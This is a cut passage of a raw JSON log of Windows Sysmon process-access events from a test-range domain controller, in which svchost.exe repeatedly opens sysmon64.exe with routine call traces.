C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:07.797","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:09","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:07","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2208,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:07.797\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:07.797","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:09","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:07","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2209,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:07.797\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:07.797","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:09","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:07","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2210,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:07.797\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:07.797","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:09","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:07","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2211,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:07.797\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:07.797","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:09","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:07","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2212,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:07.797\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:07.797","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:09","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:07","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2213,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:07.797\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:07.797","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:09","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:07","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2214,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:07.797\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:07.797","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:09","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:07","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2215,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:07.797\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 